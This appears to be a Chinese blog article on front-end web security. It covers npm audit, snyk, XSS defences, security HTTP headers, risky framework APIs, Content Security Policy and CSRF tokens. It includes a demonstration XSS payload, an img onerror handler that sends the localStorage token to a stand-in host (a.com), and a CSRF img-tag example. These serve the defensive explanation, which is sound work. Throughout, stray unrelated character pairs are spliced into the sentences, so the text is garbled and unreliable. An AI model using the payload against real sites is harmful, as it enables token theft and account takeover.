隨著開發(fā)框架和平臺(tái)的不斷成熟全度,需要開發(fā)者考慮的安全問(wèn)題越來(lái)越少肋演,但并不是開發(fā)者就不需要關(guān)心項(xiàng)目的安全問(wèn)題阅仔。Linux域醇、Tomcat等大型項(xiàng)目時(shí)不時(shí)爆出安全漏洞台谊,把網(wǎng)絡(luò)安全話題重新拉回大眾視野。現(xiàn)代前端開發(fā)依賴node作為打包譬挚、構(gòu)建和依賴管理平臺(tái)锅铅,最近一次安全問(wèn)題就是npm倉(cāng)庫(kù)中的event-stream包多了一個(gè)flatmap-stream依賴,而這個(gè)依賴項(xiàng)正在竊取開發(fā)者的數(shù)字貨幣减宣。
就前端項(xiàng)目來(lái)說(shuō)盐须,需要考慮的安全問(wèn)題相對(duì)較少,受到攻擊后的損失也不及服務(wù)器被攻擊后那么大漆腌,前端主要需要考慮的安全問(wèn)題有:
npm生態(tài)下依賴的安全性贼邓。npm 非常年輕,和Java相比包的質(zhì)量參差不齊闷尿,也缺乏良好的審查機(jī)制塑径,不過(guò)好在npm提供了一些安全工具幫我們審查依賴的安全問(wèn)題。
XSS跨站腳本攻擊悠砚。XSS攻擊是非常常見的攻擊方式晓勇,前端開發(fā)需要日常注意堂飞,我們后面會(huì)主要討論這類攻擊灌旧。
CSRF跨站請(qǐng)求偽造攻擊绑咱。CSRF不是非常流行,目前來(lái)說(shuō)容易將此類攻擊的破壞性降低到可以接受的程度枢泰。
代碼自查
開發(fā)者和攻擊者最大的不同之處在于描融,開發(fā)者完全擁有代碼,因此占據(jù)了主動(dòng)權(quán)衡蚂。一般來(lái)說(shuō)攻擊者的掃描都只能對(duì)線上產(chǎn)品進(jìn)行窿克,如果開發(fā)者在上線之前對(duì)代碼進(jìn)行審查和掃描,可以事半功倍毛甲。
另外內(nèi)部的滲透測(cè)試也類似于模擬攻擊者來(lái)進(jìn)行掃描業(yè)界已知漏洞年叮,而代碼層面的審查則需要開發(fā)團(tuán)隊(duì)完成。
npm audit
為了提高npm依賴的安全玻募,npm 6.1 后添加了npm audit工具只损,這個(gè)工具可以搜索當(dāng)前項(xiàng)目中使用的依賴是否存在安全問(wèn)題,并提供了npm audit fix工具修復(fù)七咧。
它的工作原理是維護(hù)了一個(gè)已知不良依賴的名單跃惫,如果代碼中使用了直接從GitHub而不是npm倉(cāng)庫(kù)中獲取依賴,或不知名的依賴艾栋。npm audit也是無(wú)法發(fā)現(xiàn)威脅爆存。總的來(lái)說(shuō)在加入第三方依賴時(shí)蝗砾,需要謹(jǐn)慎考慮先较,不濫用依賴在前端開發(fā)也是非常重要的。
Sonarqube
Sonarqube應(yīng)該是今年業(yè)界最為流行的代碼審查工具了遥诉,Sonarqube使用了和其他開源軟件一樣拇泣,軟件開源服務(wù)收費(fèi)的策略。我們可以自己搭建公司內(nèi)部的代碼審查平臺(tái)矮锈,也可以直接使用sonarqube在線的掃描服務(wù)霉翔。
Sonarqube 中發(fā)現(xiàn)威脅只是它的功能之一。它提供了發(fā)現(xiàn) Code Smells苞笨、Bugs债朵、Vulnerabilities三大特性,并且支持Java瀑凝、JavaScript和C#等大量語(yǔ)言序芦。如果我們僅僅需要檢查前端項(xiàng)目中代碼的安全缺陷,我們可以使用另外更加輕量級(jí)能集成到構(gòu)建腳本中的工具粤咪。
snyk
如果不想暴露倉(cāng)庫(kù)權(quán)限谚中,并且本地掃描,可以使用snyk這類輕量級(jí)的掃描工具。其實(shí)snyk也提供類似Sonarqube一樣的平臺(tái)宪塔,但是也提供了輕量級(jí)的本地掃描磁奖。
snyk 提供了npm安裝,可以參考以下命令某筐,簡(jiǎn)單的集成到CI中:
npm install -g snyk
snyk auth
snyk test
應(yīng)對(duì)XSS攻擊
XSS 攻擊通過(guò)向頁(yè)面中注入可以執(zhí)行的JavaScript代碼比搭,因?yàn)榭梢酝ㄟ^(guò)JavaScript在已經(jīng)登陸的用戶頁(yè)面上執(zhí)行,可以使用已經(jīng)信任用戶的身份來(lái)進(jìn)行攻擊甚至盜走用戶身份信息南誊。 XSS分為DOM型身诺、反射型、存儲(chǔ)型三種攻擊類型抄囚,反射型和存儲(chǔ)型服務(wù)器端可以通過(guò)過(guò)濾輸出處理霉赡,對(duì)前端項(xiàng)目來(lái)說(shuō)主要針對(duì)DOM型攻擊采取安全措施。
上面這個(gè)動(dòng)圖是我假設(shè)的一個(gè)漏洞幔托,前端代碼直接接收外部輸入同廉,并添加到頁(yè)面上。演示攻擊者使用了一段代碼:
<img/src=x onerror="(new Image()).src = 'http://a.com?token='+ localStorage.getItem('token')">
通過(guò)圖片觸發(fā)onerror事件的方式執(zhí)行一段JavaScript代碼片段柑司,再讀取LocalStorage中的token迫肖,最后通過(guò)圖片Ping的方式發(fā)送到外部網(wǎng)站。這只是一段作為演示用的攻擊方式攒驰,這種注入XSS的代碼叫做 XSS payload蟆湖,很多強(qiáng)大的payload在網(wǎng)絡(luò)上傳播。下面我們來(lái)討論下在開發(fā)過(guò)程中如何應(yīng)對(duì)這些攻擊玻粪。
使用HTTP頭啟用瀏覽器安全行為
瀏覽器有很多內(nèi)置的安全行為隅津,可以防范XSS攻擊,第一步需要做的是在上線時(shí)合理配置服務(wù)器環(huán)境劲室,這是一種性價(jià)比很高的方式伦仍。使用Nginx或者Apache輸入相應(yīng)頭信息不是一件特別難的事,這里有一個(gè)checklist很洋,分別說(shuō)明了一些必要的HTTP頭和用途充蓝。
- HTTP only 對(duì)關(guān)鍵Cookies設(shè)置HTTP only,前端JavaScript無(wú)法讀取該Cookies喉磁,即使前端被攻擊谓苟,也無(wú)法盜取用戶身份信息
- X-Frame-Options 禁止頁(yè)面通過(guò)IFrame被加載,用來(lái)方式clickJacking(頁(yè)面?zhèn)窝b點(diǎn)擊)攻擊
- X-XSS-Protection 配置瀏覽器的XSS過(guò)濾行為协怒,當(dāng)值為:- 0 禁用XSS過(guò)濾器/審核員- 1 刪除不安全的部分涝焙,如果沒(méi)有X-XSS-Protection頭,這是默認(rèn)設(shè)置- 1; mode = block 如果找到XSS孕暇,則不要渲染文檔
- X-Content-Type-Options 提示瀏覽器一定要遵循在 Content-Type 首部中對(duì) MIME 類型 的設(shè)定仑撞,而不能對(duì)其進(jìn)行修改赤兴,禁止瀏覽器嗅探資源類型
- Strict-Transport-Security 要求瀏覽器對(duì)所有資源使用HTTPS鏈接
- Access-Control-Allow-Origin 設(shè)置跨域請(qǐng)求的安全列表
下面演示一個(gè)HTTP only的例子锈嫩,即使XSS攻擊成功逾滥,也無(wú)法盜走token:
避免框架中的危險(xiǎn)特性
現(xiàn)代前端開發(fā)中使用了一般基于常用的框架開發(fā)切揭,框架提供了很多安全特性在輸入內(nèi)容到DOM避免了XSS注入拳球,但是如果不當(dāng)使用,也會(huì)有一些風(fēng)險(xiǎn)打掘。框架為了提供更大的靈活性往往允許原生的HTML內(nèi)容被添加到DOM中并提供了對(duì)應(yīng)API,但基本上也會(huì)在文檔中說(shuō)明鉴竭。
Vue的v-html指令。 Vue的明確提示使用該指令的前提是信任輸入內(nèi)容岸浑,但是大量項(xiàng)目使用了此指令搏存,甚至從URL上獲取的部分內(nèi)容。下面圖片中的使用方式在項(xiàng)目中很常見矢洲,但是如果使用xss payload很容易像上面演示的那樣被xss注入攻擊璧眠。
dangerouslySetInnerHTML。React中提供了類似的機(jī)制读虏,不過(guò)在API的名稱上非常醒目责静,原理上和Vue類似,不再贅述盖桥。
另外一種不當(dāng)使用框架的例子是灾螃,讀取原生DOM或者使用JQuery的并添加內(nèi)容的行為,這種行為不僅對(duì)項(xiàng)目架構(gòu)造成破壞揩徊,帶來(lái)維護(hù)性的困難腰鬼,而且會(huì)存在XSS注入的風(fēng)險(xiǎn)。
啟用CSP瀏覽器安全策略
在銀行和金融類項(xiàng)目塑荒,對(duì)安全要求非常重視熄赡。大家都知道的一個(gè)例子是銀行項(xiàng)目都實(shí)現(xiàn)了自己的鍵盤輸入控件,目的是防止操作系統(tǒng)的鍵盤Hook齿税,這個(gè)超出前端開發(fā)需要考慮的內(nèi)容彼硫。另外一個(gè)方法是啟用CSP瀏覽器內(nèi)容安全策略,對(duì)加載到頁(yè)面上的內(nèi)容進(jìn)一步限制凌箕,并且CSP還提供了異常報(bào)告的機(jī)制乌助。
mozilla的CSP定義
“內(nèi)容安全策略 (CSP) 是一個(gè)額外的安全層,用于檢測(cè)并削弱某些特定類型的攻擊陌知,包括跨站腳本 (XSS) 和數(shù)據(jù)注入攻擊等”
通俗的來(lái)說(shuō)他托,CSP就是通過(guò)HTTP頭部 Content-Security-Policy或者HTML meta標(biāo)簽定義一系列白名單規(guī)則,限制頁(yè)面上腳本的執(zhí)行和資源的加載來(lái)源仆葡,例如不允許執(zhí)行內(nèi)聯(lián)代碼(<script>塊內(nèi)容赏参,內(nèi)聯(lián)事件志笼,內(nèi)聯(lián)樣式),禁止執(zhí)行eval() , newFunction() , setTimeout([string], ...) 和setInterval([string], ...) 把篓,達(dá)到進(jìn)一步限制頁(yè)面腳本的策略纫溃。例如:
Content-Security-Policy:default-src 'self'; img-src https://*; child-src 'none';
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
CSP 策略包括多個(gè)指令和指令值組成:
指令 | 指令值示例 | 說(shuō)明 |
---|---|---|
default-src | 'self' cnd.com | 定義針對(duì)所有類型(js、image韧掩、css紊浩、web font、ajax請(qǐng)求疗锐、iframe坊谁,多媒體等)資源的默認(rèn)加載策略 |
script-src | 'self' js.com | 定義針對(duì)JavaScript的加載策略 |
style-src | 'self' css.com | 定義針對(duì)樣式的加載策略 |
img-src | 'self' img.com | 定義針對(duì)圖片的加載策略 |
connect-src | 'self' | 針對(duì)Ajax、WebSocket等請(qǐng)求的加載策略 |
font-src | font.x.com | 針對(duì)Web Font的加載策略 |
object-src | 'self' | 針對(duì)<object>滑臊、<embed>或<applet>的加載策略 |
media-src | media.x.com | 針對(duì)<audio>或<video>的加載策略 |
frame-src | 'self' | 針對(duì)frame的加載策略口芍。 |
sandbox | allow-forms | 對(duì)請(qǐng)求的資源啟用sandbox |
report-uri | /report-uri | 啟用報(bào)告模式,當(dāng)違反CSP策略會(huì)發(fā)送一份JSON數(shù)據(jù)包 |
指令 | 指令值示例 | 說(shuō)明 |
---|---|---|
- | img-src | 允許任何內(nèi)容雇卷。 |
'none' | img-src 'none' | 不允許任何內(nèi)容鬓椭。 |
'self' | img-src 'self' | 允許來(lái)自相同域的內(nèi)容 |
data | img-src data | 允許data:協(xié)議(base64、SVG) |
x.com | img-src img.x.com 允許加載指定域名的資源 | |
*.x.com img-src *.x.com 允許加載指定域任何子域的資源 | ||
https://img.com img-src https://img.com 允許加載img.com的https資源 | ||
https: img-src https: 允許加載https資源 | ||
'unsafe-inline' script-src 'unsafe-inline' 允許加載行內(nèi)資源(例如常見的style屬性关划,onclick小染,inline js和inline css等等) |
'unsafe-eval' script-src 'unsafe-eval' 允許加載動(dòng)態(tài)js代碼,例如eval()贮折、new Function
CSP 策略中有一個(gè)特別的指令report-uri可以配置頁(yè)面上違規(guī)后的報(bào)告氧映,一旦瀏覽器檢測(cè)到違規(guī)的資源加載,瀏覽器會(huì)發(fā)送一個(gè)JSON數(shù)據(jù)包到指定服務(wù)器脱货。
應(yīng)對(duì)CSRF攻擊
CSRF攻擊者在用戶已經(jīng)登陸目標(biāo)網(wǎng)站后岛都,誘導(dǎo)用戶訪問(wèn)一個(gè)攻擊頁(yè)面,利用用戶已經(jīng)獲取的權(quán)限振峻,發(fā)起偽造的請(qǐng)求臼疫。
舉個(gè)例子:
假設(shè)GitHub提供了一個(gè)給倉(cāng)庫(kù)加星的接口,htttps://github.com/{repositoryName}/star 而且這個(gè)接口使用了GET方法扣孟,當(dāng)然GitHub不會(huì)這樣做烫堤。
這樣攻擊者就可以在GitHub上Readme文件中中增加一張圖片:
<img src="htttps://github.com/{repositoryName}/star" />
當(dāng)用戶瀏覽到這個(gè)倉(cāng)庫(kù)的時(shí)候就會(huì)給該倉(cāng)庫(kù)增加一個(gè)星。
因此業(yè)界通常的做法是避免使用GET操作對(duì)數(shù)據(jù)資源的修改凤价,使用POST時(shí)增加一個(gè)一次性的token鸽斟。
如果Spring boot中使用Spring security,會(huì)有默認(rèn)的 CsrfFilter利诺,只需要注冊(cè)CsrfFilter即可啟用CSRF機(jī)制富蓄。客戶端對(duì)相同的Restful資源發(fā)出POST請(qǐng)求之前需要首先從GET方法得到一個(gè)一次性的token慢逾,否則會(huì)得到一個(gè)403錯(cuò)誤立倍。
其他
實(shí)際項(xiàng)目中我們還有其他的一些安全措施:
例如加密代碼中的密碼等敏感信息灭红,加密本身對(duì)前端來(lái)說(shuō)意義不大,但是可以增加攻擊者反向分析代碼的難度口注,屏蔽代碼中可以直接搜索到的關(guān)鍵字变擒,例如Login、Password等字符串寝志。
另外也要防止程序報(bào)錯(cuò)后意外暴露一些信息給用戶娇斑,面對(duì)各種各樣的異常,用戶不可能主動(dòng)也沒(méi)有能力報(bào)告錯(cuò)誤材部,我們可以通過(guò)使用sentry.io之類的一些工具收集控制臺(tái)報(bào)錯(cuò)信息 毫缆。
最后這個(gè)世界上沒(méi)有絕對(duì)的安全,即使CSP這類極其嚴(yán)格的策略都有可能被繞過(guò)败富,前端開發(fā)中安全也需要考慮成本,應(yīng)該選用性價(jià)比高的安全策略摩窃。安全也不是獨(dú)立的兽叮,應(yīng)該和服務(wù)器、甚至操作系統(tǒng)層面聯(lián)合考慮猾愿,例如后端提供的資源應(yīng)該是通過(guò)ID不可枚舉的鹦聪,上傳文件的時(shí)候也應(yīng)該嗅探內(nèi)容和MIME信息決定文件類型。
參考鏈接:
- https://github.com/jshanson7/npm-audit/blob/master/blacklist.json
- https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP 業(yè)界安全組織 OSSTM,
- OWASP, ISO/IEC 15408, ITSEC, TCSEC